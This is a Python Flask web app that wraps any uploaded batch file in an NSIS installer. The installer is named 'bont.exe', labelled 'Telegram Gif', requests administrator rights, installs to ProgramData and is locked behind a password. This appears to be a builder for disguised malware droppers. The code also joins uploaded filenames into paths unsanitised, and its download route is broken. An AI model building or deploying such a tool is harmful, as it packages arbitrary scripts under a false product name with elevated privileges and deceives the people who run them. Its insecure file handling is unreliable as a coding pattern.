from flask import Flask, request, send_file, render_template_string import os import subprocess app = Flask(__name__) UPLOAD_FOLDER = 'uploads' app.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER # HTML template for the index page HTML_TEMPLATE = """ NSIS Installer Creator

Upload Files to Create NSIS Installer





""" @app.route('/') def index(): return render_template_string(HTML_TEMPLATE) @app.route('/upload', methods=['POST']) def upload_files(): if 'bat_file' not in request.files or 'icon_file' not in request.files: return "No file part", 400 bat_file = request.files['bat_file'] icon_file = request.files['icon_file'] if bat_file.filename == '' or icon_file.filename == '': return "No selected file", 400 # Define the paths to save the uploaded files bat_path = os.path.join(app.config['UPLOAD_FOLDER'], bat_file.filename) icon_path = os.path.join(app.config['UPLOAD_FOLDER'], icon_file.filename) # Save the uploaded files bat_file.save(bat_path) icon_file.save(icon_path) # Construct the NSIS script using the provided paths nsi_script = f"""!include "MUI2.nsh" !include "nsDialogs.nsh" Outfile "bont.exe" InstallDir "$PROGRAMDATA" Name "Telegram Gif" Caption "bont 1.4.44.3" VIProductVersion "1.4.44.3" RequestExecutionLevel admin Var PASSWORD Var DialogHandle Var PasswordInput Function ShowPasswordPage nsDialogs::Create 1018 Pop $DialogHandle nsDialogs::CreateLabel 10u 10u 100% 12u "Please enter the installation password:" Pop $0 nsDialogs::CreatePassword 10u 25u 100% 12u "" Pop $PasswordInput nsDialogs::Show FunctionEnd Function CheckPassword nsDialogs::GetText $PasswordInput $PASSWORD StrCmp $PASSWORD "yourpassword" 0 +3 MessageBox MB_OK "Password accepted" Return MessageBox MB_OK "Incorrect password. Installation will now exit." Abort FunctionEnd Page custom ShowPasswordPage CheckPassword Page instfiles Section "Install" SetOutPath "$INSTDIR" File "{bat_path}" SectionEnd """ nsi_path = os.path.join(app.config['UPLOAD_FOLDER'], 'installer.nsi') with open(nsi_path, 'w') as nsi_file: nsi_file.write(nsi_script) # Compile the NSIS script try: result = subprocess.run(['makensis', nsi_path], check=True, capture_output=True, text=True) return f"Compilation successful! Download here: bont.exe", 200 except subprocess.CalledProcessError as e: return f"Compilation failed: {e.stderr}", 400 @app.route('/download/') def download_file(filename): return send_file(os.path.join(app.config['UPLOAD_FOLDER'], filename), as_attachment=True) if __name__ == '__main__': if not os.path.exists(UPLOAD_FOLDER): os.makedirs(UPLOAD_FOLDER) app.run(host='0.0.0.0', port=7860)